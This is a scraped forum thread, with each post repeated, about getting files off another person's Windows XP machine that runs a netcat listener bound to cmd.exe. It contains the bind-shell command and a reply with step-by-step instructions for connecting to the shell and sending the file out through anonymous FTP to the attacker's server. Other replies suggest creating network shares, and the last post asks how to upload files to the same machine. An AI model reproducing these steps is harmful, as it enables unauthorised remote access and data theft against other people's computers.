I've a little question.
suppose someone (using windows XP) has running netcat as a listener:
nc -L -d -p 4644 -e cmd.exe
and, suppose I want a file on the c:\temp\ directory of this person,
how can I grab the file (I'm also using windows XP)
Printable View
I've a little question.
suppose someone (using windows XP) has running netcat as a listener:
nc -L -d -p 4644 -e cmd.exe
and, suppose I want a file on the c:\temp\ directory of this person,
how can I grab the file (I'm also using windows XP)
I've a little question.
suppose someone (using windows XP) has running netcat as a listener:
nc -L -d -p 4644 -e cmd.exe
and, suppose I want a file on the c:\temp\ directory of this person,
how can I grab the file (I'm also using windows XP)
The only thing I can think of is to do a "net share" cmd. Share the temp dir on the remote computer. Then run a net use "drive letter" "pathname". Once this is done, you might(and I mean might) be able to access this new drive. Just hopefully this remote computer has port 135 and 139 open.
I might be completely wrong with what I said above, if someone can, correct me.
The only thing I can think of is to do a "net share" cmd. Share the temp dir on the remote computer. Then run a net use "drive letter" "pathname". Once this is done, you might(and I mean might) be able to access this new drive. Just hopefully this remote computer has port 135 and 139 open.
I might be completely wrong with what I said above, if someone can, correct me.
nc -vv <address> 4644 or telnet <address> 4644
after you get a cmd shell just ftp the file you want to an ftp server and get it from there:
C:\>cd temp
C:\temp>ftp <address>
User (<address>:(none)):anonymous
Password: [email protected]
ftp>put <file>
ftp>bye
C:\temp>exit
it dosn't matter what os your using your shell is on the nc servers machine
nc -vv <address> 4644 or telnet <address> 4644
after you get a cmd shell just ftp the file you want to an ftp server and get it from there:
C:\>cd temp
C:\temp>ftp <address>
User (<address>:(none)):anonymous
Password: [email protected]
ftp>put <file>
ftp>bye
C:\temp>exit
it dosn't matter what os your using your shell is on the nc servers machine
this site might help..
even lists a way to transfer files..
http://www.sans.org/rr/audit/netcat.php
this site might help..
even lists a way to transfer files..
http://www.sans.org/rr/audit/netcat.php
thanks, you were all very helpfull,especially tedob1.
Is it btw also possible to ftp files from my computer to his computer (again: knowing that the
only thing a have is a netcat-listener on his computer).
greetz
thanks, you were all very helpfull,especially tedob1.
Is it btw also possible to ftp files from my computer to his computer (again: knowing that the
only thing a have is a netcat-listener on his computer).
greetz